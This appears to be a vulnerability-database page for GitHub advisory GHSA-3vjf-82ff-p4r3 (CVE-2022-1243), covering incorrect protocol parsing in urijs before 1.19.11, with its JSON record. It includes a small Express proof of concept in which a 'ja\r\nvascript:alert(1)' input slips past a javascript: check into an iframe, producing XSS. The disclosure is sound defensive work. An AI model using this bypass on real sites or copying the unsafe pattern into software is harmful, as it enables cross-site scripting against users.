GHSA-3VJF-82FF-P4R3

Vulnerability from github – Published: 2022-04-06 00:01 – Updated: 2022-04-14 20:13
VLAI?
Summary
Incorrect protocol extraction via \r, \n and \t characters
Details

\r, \n and \t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.

This can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):

const parse = require('urijs')
const express = require('express')
const app = express()
const port = 3000

input = "ja\r\nvascript:alert(1)"
url = parse(input)

console.log(url)

app.get('/', (req, res) => {
 if (url.protocol !== "javascript:") {res.send("<iframe src=\'" + input + "\'>CLICK ME!</iframe>")}
})

app.listen(port, () => {
 console.log(`Example app listening on port ${port}`)
})
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "urijs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.19.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-1243"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-04-07T15:45:58Z",
    "nvd_published_at": "2022-04-05T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "\\r, \\n and \\t characters in user-input URLs can potentially lead to incorrect protocol extraction when using npm package urijs prior to version 1.19.11.\n\nThis can lead to XSS when the module is used to prevent passing in malicious javascript: links into HTML or Javascript (see following example):\n````\nconst parse = require(\u0027urijs\u0027)\nconst express = require(\u0027express\u0027)\nconst app = express()\nconst port = 3000\n\ninput = \"ja\\r\\nvascript:alert(1)\"\nurl = parse(input)\n\nconsole.log(url)\n\napp.get(\u0027/\u0027, (req, res) =\u003e {\n if (url.protocol !== \"javascript:\") {res.send(\"\u003ciframe src=\\\u0027\" + input + \"\\\u0027\u003eCLICK ME!\u003c/iframe\u003e\")}\n})\n\napp.listen(port, () =\u003e {\n console.log(`Example app listening on port ${port}`)\n})\n````",
  "id": "GHSA-3vjf-82ff-p4r3",
  "modified": "2022-04-14T20:13:56Z",
  "published": "2022-04-06T00:01:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/medialize/uri.js/commit/b0c9796aa1a95a85f40924fb18b1e5da3dc8ffae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/medialize/uri.js"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/8c5afc47-1553-4eba-a98e-024e4cc3dfb7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incorrect protocol extraction via \\r, \\n and \\t characters"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…